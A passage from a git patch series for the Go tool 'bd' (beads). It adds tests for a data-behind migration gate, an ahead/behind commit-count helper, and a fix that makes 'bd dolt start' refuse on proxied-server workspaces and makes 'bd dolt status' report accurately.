t.Setenv(AllowRemoteMigrateEnv, "0") + SetForceAllowRemoteMigrate(false) + SetSharedMigrateConsent(false) + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + // Both facts hold, and either one blocks. The shared-store reason + // says "the gate WOULD have resolved and was overruled", which is not + // true here — and the pull-first remedy is a precondition this + // operator has to satisfy either way. + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckSharedStoreMigrateGate(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if !gateErr.Shared { + t.Error("Shared should still be set on a shared-store refusal") + } + // But the note must NOT promise the retry resolves itself here: on a + // shared store the first-mover auto-migrate stays suppressed (#5920), + // so pulling clears this stop and the retry still needs consent. + msg := gateErr.UserMessage() + if !strings.Contains(msg, "Run `bd dolt pull` first") { + t.Errorf("shared store should still get the pull-first remedy:\n%s", msg) + } + if strings.Contains(msg, "proceeds on its own") { + t.Errorf("shared store must not be promised an automatic retry (the first-mover arm is suppressed here):\n%s", msg) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("non-shared store IS promised the automatic retry", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if msg := gateErr.UserMessage(); !strings.Contains(msg, "proceeds on its own") { + t.Errorf("an ordinary clone's retry DOES auto-resolve and should say so:\n%s", msg) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + // An unparseable BD_SMART_GATE value normally outranks the routing reason, + // but it must not bury data-behind: that stop stands whatever the env says, + // and it is the only reason carrying a remedy the operator can act on now. + t.Run("unparseable BD_SMART_GATE does not bury the pull-first remedy", func(t *testing.T) { + t.Setenv(SmartGateEnv, "yes") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q (the env complaint must not outrank it)", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if msg := gateErr.UserMessage(); !strings.Contains(msg, "Run `bd dolt pull` first") { + t.Errorf("UserMessage lost the pull-first remedy:\n%s", msg) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) +} + +// TestSmartGateRoutingDataBehindShapes covers the widened data-behind +// predicate (gastownhall/beads#6575 review finding F2): the stop is keyed on +// behind >= 1 whatever ahead is, not on the strict-ancestor relation. +// +// The narrower form protected only a clone with zero local commits, and bd +// auto-commits every write — so "has local commits AND is behind" is the +// ORDINARY multi-machine state, and it reaches the identical wedge (the +// pending migration lands on a history missing the remote's commits either +// way). What differs is the remedy's behavior, not the remedy: the pull +// fast-forwards in one shape and merges in the other, so the two verdicts stay +// distinguishable all the way out to the message and the JSON. +func TestSmartGateRoutingDataBehindShapes(t *testing.T) { + floor := LastNonDeterministicMigration + + route := func(t *testing.T, fa *fakeAdopter, shared bool) error { + t.Helper() + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + SetForceAllowRemoteMigrate(false) + SetSharedMigrateConsent(false) + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + var err error + if shared { + err = CheckSharedStoreMigrateGate(context.Background(), db, "", nil, fa.adopter()) + } else { + err = CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + } + if mockErr := mock.ExpectationsWereMet(); mockErr != nil { + t.Fatalf("unmet expectations: %v", mockErr) + } + return err + } + + t.Run("behind with no local commits: the fast-forward shape", func(t *testing.T) { + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 0, behindResult: 1} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("a data-behind clone must not auto-migrate, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Fatalf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if gateErr.DataDiverged { + t.Error("DataDiverged = true, want false (ahead == 0 is a pure fast-forward)") + } + if msg := gateErr.UserMessage(); !strings.Contains(msg, "pure fast-forward") { + t.Errorf("message should say the pull fast-forwards:\n%s", msg) + } + // The raw counts are what the widened predicate reads; the older + // boolean callback must not be consulted when they are available. + if fa.aheadBehindCalls != 1 { + t.Errorf("AheadBehind calls = %d, want 1", fa.aheadBehindCalls) + } + if fa.ancestorCalls != 0 { + t.Errorf("IsStrictAncestor calls = %d, want 0 once AheadBehind is wired", fa.ancestorCalls) + } + }) + + t.Run("behind WITH local commits: the diverged shape still stops", func(t *testing.T) { + // The F2 case: before the widening this routed to smartAutoMigrate and + // the migration ran, measured on a real clone at ahead=1, behind=1. + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 1, behindResult: 1} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("a diverged, behind clone reaches the same wedge and must not auto-migrate, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Fatalf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if !gateErr.DataDiverged { + t.Error("DataDiverged = false, want true (ahead >= 1 means the pull merges)") + } + msg := gateErr.UserMessage() + if !strings.Contains(msg, "MERGES") { + t.Errorf("a diverged clone must be told its pull merges rather than fast-forwards:\n%s", msg) + } + if strings.Contains(msg, "pure fast-forward") { + t.Errorf("a diverged clone must NOT be promised a fast-forward:\n%s", msg) + } + }) + + t.Run("purely ahead: still the safe first-mover auto-migrate", func(t *testing.T) { + // Nothing to pull, so nothing to wedge. Refusing here would be the + // over-refusal a patch line must not ship. + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 3, behindResult: 0} + if err := route(t, fa, false); err != nil { + t.Fatalf("a clone with only unpushed local commits must still auto-migrate, got %v", err) + } + }) + + t.Run("level: still the safe first-mover auto-migrate", func(t *testing.T) { + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 0, behindResult: 0} + if err := route(t, fa, false); err != nil { + t.Fatalf("a level clone must still auto-migrate, got %v", err) + } + }) + + t.Run("ahead/behind read error: blunt block, never the automatic migrate", func(t *testing.T) { + fa := &fakeAdopter{withAheadBehind: true, aheadBehindErr: errors.New("dolt_log AS OF: branch not found")} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("an inconclusive read must fall back to the blunt block, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonUnreadableState { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonUnreadableState) + } + }) + + t.Run("no AheadBehind wired: falls back to the strict-ancestor fact", func(t *testing.T) { + // An injection site that wired only the older callback keeps the + // pre-widening (narrower) behavior rather than losing the stop + // altogether: a strict ancestor is by definition ahead == 0, so the + // shape it reports is never "diverged". + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected the data-behind stop via the fallback, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if gateErr.DataDiverged { + t.Error("DataDiverged = true; the IsStrictAncestor fallback can only report ahead == 0") + } + if fa.aheadBehindCalls != 0 { + t.Errorf("AheadBehind calls = %d, want 0 (not wired)", fa.aheadBehindCalls) + } + if fa.ancestorCalls != 1 { + t.Errorf("IsStrictAncestor calls = %d, want 1", fa.ancestorCalls) + } + }) +} + +// TestDataBehindRemedySurfaces pins the review's F1/F3/F4 findings on the +// message and agent contract: every surface has to name the ONE remedy that +// was measured to work, the shared-store consequence has to survive the +// precedence choice that made data-behind outrank shared-store, and the blunt +// migrate-or-adopt options must not be offered — in this state +// `bd migrate --force` is the bug (and its follow-up `bd dolt push` is +// rejected non-fast-forward while the clone is still behind) while +// `bd bootstrap` no-ops against an existing workspace. +func TestDataBehindRemedySurfaces(t *testing.T) { + base := func(shared, diverged bool) *RemoteMigrateGateError { + return &RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: fallbackReasonDataBehind, + Shared: shared, + DataDiverged: diverged, + } + } + + t.Run("only the pull is offered", func(t *testing.T) { + for _, diverged := range []bool{false, true} { + e := base(false, diverged) + opts := e.Options() + if len(opts) != 1 || opts[0].ID != "pull-first" { + t.Fatalf("diverged=%v: Options() = %+v, want exactly one pull-first option", diverged, opts) + } + if len(opts[0].Commands) != 1 || opts[0].Commands[0] != DataBehindRemedyCommand { + t.Errorf("diverged=%v: option commands = %v, want [%q]", diverged, opts[0].Commands, DataBehindRemedyCommand) + } + for _, o := range opts { + for _, c := range o.Commands { + if c == "bd migrate --force" || c == "bd bootstrap" { + t.Errorf("diverged=%v: option %q offers %q, which was measured not to work in this state", diverged, o.ID, c) + } + } + } + if d := e.AgentDirective(); !strings.Contains(d, DataBehindRemedyCommand) { + t.Errorf("diverged=%v: AgentDirective must name the remedy:\n%s", diverged, d) + } + if body := e.userBody(); strings.Contains(body, "bd bootstrap") { + t.Errorf("diverged=%v: the body must not send the operator to a no-op bootstrap:\n%s", diverged, body) + } + } + }) + + t.Run("shared store keeps the #5920 lockout warning", func(t *testing.T) { + // F3: before this, Shared+data-behind rendered with neither + // "co-resident" nor "#5920" anywhere, because data-behind outranks + // fallbackReasonSharedStore (whose note carried them) and Options()' + // sharedRisk only ever decorated the adopt option. + msg := base(true, false).UserMessage() + for _, want := range []string{"co-resident", "#5920", SharedConsentCommand} { + if !strings.Contains(msg, want) { + t.Errorf("shared data-behind message is missing %q:\n%s", want, msg) + } + } + if strings.Contains(msg, "proceeds on its own") { + t.Errorf("a shared store must not be promised an automatic retry:\n%s", msg) + } + opts := base(true, false).Options() + if len(opts) != 2 || opts[0].ID != "pull-first" || opts[1].ID != "migrate-shared-after-pulling" { + t.Fatalf("shared Options() = %+v, want pull-first then the consent step", opts) + } + if d := base(true, false).AgentDirective(); !strings.Contains(d, "#5920") { + t.Errorf("shared AgentDirective must carry the co-resident consequence:\n%s", d) + } + }) + + t.Run("non-shared store IS promised the automatic retry", func(t *testing.T) { + msg := base(false, false).UserMessage() + if !strings.Contains(msg, "proceeds on its own") { + t.Errorf("an ordinary clone's retry DOES auto-resolve and should say so:\n%s", msg) + } + if strings.Contains(msg, SharedConsentCommand) { + t.Errorf("a non-shared clone must not be sent to the shared consent verb:\n%s", msg) + } + }) + + t.Run("IsDataBehind is exactly this stop", func(t *testing.T) { + // The store opens key their one narrow exemption on this predicate, so + // it must not widen to any other refusal. + if !base(false, false).IsDataBehind() { + t.Error("IsDataBehind() = false for the data-behind stop") + } + for _, reason := range []string{ + fallbackReasonUnreadableState, fallbackReasonBelowFloor, + fallbackReasonOptedOut, fallbackReasonUnparseableEnv, fallbackReasonSharedStore, "", + } { + e := base(false, false) + e.FallbackReason = reason + if e.IsDataBehind() { + t.Errorf("IsDataBehind() = true for FallbackReason %q", reason) + } + } + // A tailored decision is never this stop either, whatever the reason + // field happens to hold. + e := base(false, false) + e.Decision = gateDecisionForkSkew + if e.IsDataBehind() { + t.Error("IsDataBehind() = true for a fork-skew decision") + } + if (*RemoteMigrateGateError)(nil).IsDataBehind() { + t.Error("IsDataBehind() = true on a nil receiver") + } + }) +} + // TestSmartGateEnabled pins the default-on contract: unset and unparseable // values keep the smart gate active; only an explicit boolean false opts out. func TestSmartGateEnabled(t *testing.T) { diff --git a/internal/storage/versioncontrolops/fastforward.go b/internal/storage/versioncontrolops/fastforward.go index 3387517f5..317da1d04 100644 --- a/internal/storage/versioncontrolops/fastforward.go +++ b/internal/storage/versioncontrolops/fastforward.go @@ -15,17 +15,23 @@ import ( // elsewhere calls these yet — they are wired into the smart migrate gate in // a later change. -// LocalIsStrictAncestorOf reports whether local HEAD is a STRICT ancestor of -// ref in the Dolt commit graph: local has zero commits that ref lacks -// (ahead == 0) and at least one commit that local lacks (behind >= 1). A -// local HEAD equal to ref (ahead == 0, behind == 0) is NOT a strict -// ancestor, and returns false. +// LocalAheadBehind reports how far local HEAD has diverged from ref in the +// Dolt commit graph: ahead is the number of commits local has that ref lacks, +// behind the number ref has that local lacks. (0, 0) means the two are level. +// +// It is the raw fact behind LocalIsStrictAncestorOf, exposed separately +// because the two callers need different slices of it: a fast-forward adopt +// needs "ahead == 0 && behind >= 1", while the data-behind migrate stop +// (gastownhall/beads#6575) needs "behind >= 1" whatever ahead is — a clone +// with local commits of its own AND unpulled remote commits reaches the same +// wedge, and telling the operator which shape they are in changes whether +// their `bd dolt pull` fast-forwards or merges. // // ref must already be present locally (e.g. a cached remote-tracking ref // such as "origin/main" after a fetch); this performs no fetch of its own. -func LocalIsStrictAncestorOf(ctx context.Context, db DBConn, ref string) (bool, error) { +func LocalAheadBehind(ctx context.Context, db DBConn, ref string) (ahead, behind int, err error) { if err := issueops.ValidateRef(ref); err != nil { - return false, fmt.Errorf("invalid ref: %w", err) + return 0, 0, fmt.Errorf("invalid ref: %w", err) } // Dolt's AS OF requires a literal ref, not a bind parameter; ref was @@ -41,11 +47,25 @@ func LocalIsStrictAncestorOf(ctx context.Context, db DBConn, ref string) (bool, (SELECT commit_hash FROM dolt_log)) AS behind `, ref, ref) - var ahead, behind int if err := db.QueryRowContext(ctx, query).Scan(&ahead, &behind); err != nil { - return false, fmt.Errorf("compare local HEAD to %s: %w", ref, err) + return 0, 0, fmt.Errorf("compare local HEAD to %s: %w", ref, err) } + return ahead, behind, nil +} +// LocalIsStrictAncestorOf reports whether local HEAD is a STRICT ancestor of +// ref in the Dolt commit graph: local has zero commits that ref lacks +// (ahead == 0) and at least one commit that local lacks (behind >= 1). A +// local HEAD equal to ref (ahead == 0, behind == 0) is NOT a strict +// ancestor, and returns false. +// +// ref must already be present locally (e.g. a cached remote-tracking ref +// such as "origin/main" after a fetch); this performs no fetch of its own. +func LocalIsStrictAncestorOf(ctx context.Context, db DBConn, ref string) (bool, error) { + ahead, behind, err := LocalAheadBehind(ctx, db, ref) + if err != nil { + return false, err + } return ahead == 0 && behind >= 1, nil } From 146919ca19931c0d161ed2207f5d4b12d6212b87 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 22 Sep 2026 15:06:06 -0700 Subject: [PATCH 060/624] fix(dolt): contain `bd dolt start` on proxied workspaces; make `bd dolt status` truthful (#6577) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): contain `bd dolt start` on proxied workspaces; make `bd dolt status` truthful `bd dolt start` knew nothing about proxied-server mode, and the default proxied root IS `.beads/dolt` (internal/doltserver/physical_root.go:113-127). With the proxy tree down it launched an unsupervised `dolt sql-server` directly over that root; the next ordinary bd command then failed with `invalid connection` because the relaunched proxy found a foreign server on its port. With the tree up it adopted the proxy's own dolt child into bd's classic PID/port records, leaving two managers for one process. `bd dolt status` read the classic pidfile, which proxied mode never writes, and reported "not running" against a healthy backend — the wrong answer that sent operators to `bd dolt start` in the first place. start is now a typed refusal (`proxy.dolt_start.conflict`): the proxy owns its child's lifecycle, and an idle reaper means a "started" postcondition bd could not honor beyond the idle window. status reads the proxy's own records and reports the proxy and its backend separately, starting nothing. Co-Authored-By: Claude Fable 5 * test(dolt): compare canonical proxied status roots (bd-y6iz) Address PR #6577 review F3 by resolving both existing root paths before comparison and checking resolution errors. Exercise the existing managed-local topology test through a workspace symlink so Linux catches the macOS path alias regression while preserving all process and lifecycle assertions. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Julian Knutsen --------- Co-authored-by: Claude Fable 5 --- .github/workflows/proxied-local-smoke.yml | 8 +- CHANGELOG.md | 29 ++ cmd/bd/dolt.go | 51 ++- cmd/bd/dolt_lifecycle_proxied_server_test.go | 108 ++++++ cmd/bd/dolt_proxied_lifecycle.go | 144 ++++++++ cmd/bd/dolt_proxied_lifecycle_test.go | 187 ++++++++++ cmd/bd/proxied_local_dolt_lifecycle_test.go | 337 ++++++++++++++++++ internal/storage/dbproxy/proxy/read_status.go | 62 ++++ 8 files changed, 922 insertions(+), 4 deletions(-) create mode 100644 cmd/bd/dolt_lifecycle_proxied_server_test.go create mode 100644 cmd/bd/dolt_proxied_lifecycle.go create mode 100644 cmd/bd/dolt_proxied_lifecycle_test.go create mode 100644 cmd/bd/proxied_local_dolt_lifecycle_test.go create mode 100644 internal/storage/dbproxy/proxy/read_status.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index 023f522e4..e19f4f8dd 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -21,6 +21,7 @@ on: paths: - 'cmd/bd/proxied_local_*' - 'cmd/bd/proxied_server*.go' + - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' @@ -39,6 +40,7 @@ on: paths: - 'cmd/bd/proxied_local_*' - 'cmd/bd/proxied_server*.go' + - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' @@ -104,7 +106,11 @@ jobs: TestManagedLocalProxiedLegacyRecordFailClosed \ TestManagedLocalProxiedOrphanBackendReaped \ TestManagedLocalProxiedNProcessColdStartConvergence \ - TestManagedLocalProxiedStopStartInterleave + TestManagedLocalProxiedStopStartInterleave \ + TestManagedLocalProxiedDoltStatusReportsLiveTopology \ + TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ + TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ + TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index d80f4c0a3..088d49534 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -81,6 +81,35 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 count the same metadata-scoped set `bd list` returns without fetching every row. +### Fixed + +- **`bd dolt start` no longer puts a second sql-server over a proxied + workspace's data directory.** On a proxied-server workspace the default root + IS `.beads/dolt`, and `bd dolt start` knew nothing about proxied mode: with + the proxy quiesced it launched an unsupervised `dolt sql-server` directly + over that root, after which ordinary bd commands failed (`invalid + connection`) because the relaunched proxy found a foreign server on its + port; with the proxy live it instead adopted the proxy's own dolt child into + bd's classic PID/port records, leaving two managers for one process. It is + now a typed refusal with code `proxy.dolt_start.conflict`. The proxy owns + its backend's lifecycle — it starts on demand and `bd dolt stop` shuts it + down. Direct-server and embedded workspaces are unaffected. + +- **`bd dolt status` tells the truth on a proxied workspace.** It read the + classic PID file, which proxied mode never writes, and so reported `Dolt + server: not running` while the proxy was serving CRUD — the wrong answer + that sent operators to `bd dolt start` in the first place. It now reads the + proxy's own records and reports the proxy and its dolt backend separately, + without starting either. **JSON output shape change**: on a proxied + workspace `bd dolt status --json` now emits + `{"mode": "proxied-server", "root": ..., "running": , "proxy_pid": + ..., "proxy_port": ..., "backend_managed": ..., "backend_running": ..., + "backend_pid": ..., "backend_port": ..., "idle_timeout": ...}` instead of + the always-false `{"running": false, "pid": 0, "port": 0}`. `running` + describes the proxy, the endpoint every bd command connects through; + `backend_managed` is false on external proxied topologies, where the dolt + server is not bd's process to report on. + ### Changed - **`bd gate check` resolves bead gates whose target lives in a prefix-routed diff --git a/cmd/bd/dolt.go b/cmd/bd/dolt.go index 174748254..009b15bb6 100644 --- a/cmd/bd/dolt.go +++ b/cmd/bd/dolt.go @@ -773,7 +773,12 @@ The server runs in the background on a per-project port derived from the project path. PID and logs are stored in .beads/. The server auto-starts transparently when needed, so manual start is rarely -required. Use this command for explicit control or diagnostics.`, +required. Use this command for explicit control or diagnostics. + +Not available in proxied-server mode: there the proxy owns its dolt backend's +lifecycle and starts it on demand, so a server started here would be a second, +unsupervised one over the same data directory. Use 'bd dolt status' to see what +is running and 'bd dolt stop' to shut it down.`, RunE: func(cmd *cobra.Command, args []string) error { beadsDir := selectedDoltBeadsDir() if beadsDir == "" { @@ -783,6 +788,26 @@ required. Use this command for explicit control or diagnostics.`, if err != nil { return HandleError("%v", err) } + // A proxied workspace already has a server manager. The proxy spawns + // its dolt child on demand and reaps the whole tree when idle, so + // there is no state for bd to add here — only a second one to + // collide with. With the tree down, doltserver.Start resolves the + // proxied root's own configured port and launches an unsupervised + // sql-server directly over .beads/dolt, and the next ordinary bd + // command then fails because the relaunched proxy finds a foreign + // server on its port; with the tree up, Start instead adopts the + // proxy's child into bd's classic PID/port records, leaving two + // managers for one process. Refused rather than routed: the proxy + // owns its child's lifecycle, and an idle reaper means a "started" + // postcondition bd cannot honor for more than the idle window. + // + // Both the process-wide mode and the selected workspace's own + // metadata are consulted, and this runs before the embedded guard: + // over-refusing costs an operator one error message, under-refusing + // costs them the datastore. + if usesProxiedServer() || fileCfg.IsDoltProxiedServerMode() { + return HandleProxyCapabilityError(proxiedDoltStartRefusal()) + } if !usesSQLServer() { return HandleError("'bd dolt start' is not supported in embedded mode (no Dolt server)") } @@ -790,7 +815,7 @@ required. Use this command for explicit control or diagnostics.`, // server lifecycle (GH#3545/GH#3518): starting a repo-local // server here would write local PID/port state that shadows the // configured remote endpoint. - if host := fileCfg.GetDoltServerHost(); !usesProxiedServer() && !configfile.IsLocalHostString(host) { + if host := fileCfg.GetDoltServerHost(); !configfile.IsLocalHostString(host) { return HandleError("the configured Dolt server host is remote (%s); 'bd dolt start' only manages a local server.\nStart the server on that host, or clear dolt_server_host / dolt.host / BEADS_DOLT_SERVER_HOST to run one locally", host) } serverDir := doltserver.ResolveServerDir(beadsDir) @@ -1067,7 +1092,12 @@ PID, port, and data directory from the local PID file. For externally- managed servers — a shared server (dolt.shared-server: true), a remote dolt_server_host, or a local server managed outside bd (dolt.auto-start: false, e.g. an orchestrator-shared sql-server) — pings the configured -endpoint via SQL and reports reachability, server version, and database.`, +endpoint via SQL and reports reachability, server version, and database. + +In proxied-server mode, reports the proxy (the endpoint every bd command +connects through) and the dolt backend behind it separately, read from the +proxy's own process records. Reporting starts nothing: a quiesced workspace +is shown as not running, and the next bd command launches it.`, RunE: func(cmd *cobra.Command, args []string) error { beadsDir := selectedDoltBeadsDir() if beadsDir == "" { @@ -1090,6 +1120,21 @@ endpoint via SQL and reports reachability, server version, and database.`, fmt.Printf("Backend: %s (no Dolt engine)\n", cfg.GetBackend()) return nil } + // Neither branch below describes a proxied workspace. It writes no + // classic PID file, so the bd-managed path reports "not running" + // while the proxy is serving CRUD, and shouldUseExternalDoltStatus + // deliberately excludes proxied so the SQL-probe path never sees it + // either. Keyed on the loaded config rather than the process-wide + // mode so `bd --db dolt status` describes the + // workspace it was pointed at. + if cfg.IsDoltProxiedServerMode() { + status, err := collectProxiedDoltStatus(beadsDir) + if err != nil { + return HandleError("%v", err) + } + renderProxiedDoltStatus(status) + return nil + } if !usesSQLServer() { showEmbeddedDoltStatus(beadsDir) return nil diff --git a/cmd/bd/dolt_lifecycle_proxied_server_test.go b/cmd/bd/dolt_lifecycle_proxied_server_test.go new file mode 100644 index 000000000..8bcb76b76 --- /dev/null +++ b/cmd/bd/dolt_lifecycle_proxied_server_test.go @@ -0,0 +1,108 @@ +//go:build cgo + +package main + +// The external-tcp half of the `bd dolt status` / `bd dolt start` coverage. +// It lives in the TestProxiedServer* lane, which runs on every PR, so the +// corruption guard is enforced there and not only in the path-filtered +// managed-local lane. +// +// The distinction this topology exercises: bd runs a proxy but spawns no dolt, +// so "the backend is not running" is a claim bd has no standing to make. + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" +) + +func TestProxiedServerDoltLifecycle(t *testing.T) { + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "extdolt") + t.Cleanup(func() { + serverDir := doltserver.ResolveServerDir(p.beadsDir) + if _, err := os.Stat(filepath.Join(serverDir, doltserver.PIDFileName)); err != nil { + return + } + t.Logf("stray classic dolt-server.pid under %s; stopping it", serverDir) + if err := doltserver.Stop(serverDir); err != nil { + t.Logf("doltserver.Stop(%s): %v", serverDir, err) + } + }) + bdProxiedCreate(t, bd, p.dir, "external lifecycle sentinel") + + proxyPid := readProxyPidFileOrFail(t, p) + + t.Run("status reports the proxy and disclaims the backend", func(t *testing.T) { + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "status") + if err != nil { + t.Fatalf("bd dolt status failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + var got struct { + Mode string `json:"mode"` + Running bool `json:"running"` + ProxyPID int `json:"proxy_pid"` + BackendManaged bool `json:"backend_managed"` + BackendRunning bool `json:"backend_running"` + BackendEndpoint string `json:"backend_endpoint"` + } + if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr != nil { + t.Fatalf("decode dolt status JSON: %v\nstdout:\n%s", jsonErr, stdout) + } + if got.Mode != "proxied-server" || !got.Running { + t.Errorf("status=%+v, want mode=proxied-server running=true", got) + } + if got.ProxyPID != proxyPid { + t.Errorf("proxy_pid=%d, want %d", got.ProxyPID, proxyPid) + } + if got.BackendManaged { + t.Error("backend_managed=true on an external topology; bd spawns no dolt there") + } + if got.BackendRunning { + t.Error("backend_running=true on an external topology; bd has no record to claim that from") + } + if !strings.HasPrefix(got.BackendEndpoint, "127.0.0.1:") { + t.Errorf("backend_endpoint=%q, want the configured external endpoint", got.BackendEndpoint) + } + }) + + t.Run("start is refused", func(t *testing.T) { + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"BEADS_JSON=1"}, "--json", "dolt", "start") + if err == nil { + t.Errorf("bd dolt start succeeded on an external proxied workspace:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + var got struct { + Code string `json:"code"` + Mutates bool `json:"mutates"` + } + if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr != nil { + t.Fatalf("refusal is not typed JSON (%v)\nstdout:\n%s\nstderr:\n%s", jsonErr, stdout, stderr) + } + if got.Code != proxyDoltStartConflictCode || got.Mutates { + t.Errorf("refusal=%+v, want code=%q mutates=false", got, proxyDoltStartConflictCode) + } + for _, name := range []string{doltserver.PIDFileName, doltserver.PortFileName} { + if _, statErr := os.Stat(filepath.Join(p.beadsDir, name)); statErr == nil { + t.Errorf("%s exists after a refused start", name) + } + } + }) + + if out, err := bdProxiedRun(t, bd, p.dir, "create", "--json", "post-refusal write"); err != nil { + t.Fatalf("workspace unusable after the lifecycle probes: %v\n%s", err, out) + } +} + +func readProxyPidFileOrFail(t *testing.T, p proxiedProject) int { + t.Helper() + running, pid := proxy.IsRunning(p.proxyRoot) + if !running { + t.Fatalf("expected a live proxy under %s after a create", p.proxyRoot) + } + return pid +} diff --git a/cmd/bd/dolt_proxied_lifecycle.go b/cmd/bd/dolt_proxied_lifecycle.go new file mode 100644 index 000000000..31b7db6cb --- /dev/null +++ b/cmd/bd/dolt_proxied_lifecycle.go @@ -0,0 +1,144 @@ +package main + +// `bd dolt start` and `bd dolt status` for proxied-server workspaces. +// +// Both commands predate proxied mode and assume bd owns the sql-server: they +// read and write .beads/dolt-server.pid. A proxied workspace never has one — +// the proxy writes proxy.pid and proxy-child.pid under the proxied root — so +// status used to report "not running" against a healthy backend, and start +// used to act on that by putting a second sql-server over the live data +// directory. This file is the proxied-aware half of both. + +import ( + "fmt" + "net" + "os" + "strconv" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" +) + +// Stable identity of the `bd dolt start` refusal on a proxied workspace. +// Codes are the part of the refusal contract downstream consumers branch on, +// so this one is frozen; the message beside it is informative. +const proxyDoltStartConflictCode = "proxy.dolt_start.conflict" + +const proxyDoltStartConflictMessage = "dolt start is not supported in proxied-server mode: " + + "the proxy owns its dolt backend, and a second sql-server over the same data directory risks corrupting it; " + + "the proxy starts on demand — run 'bd dolt status' to see what is running, or 'bd dolt stop' to shut it down" + +// 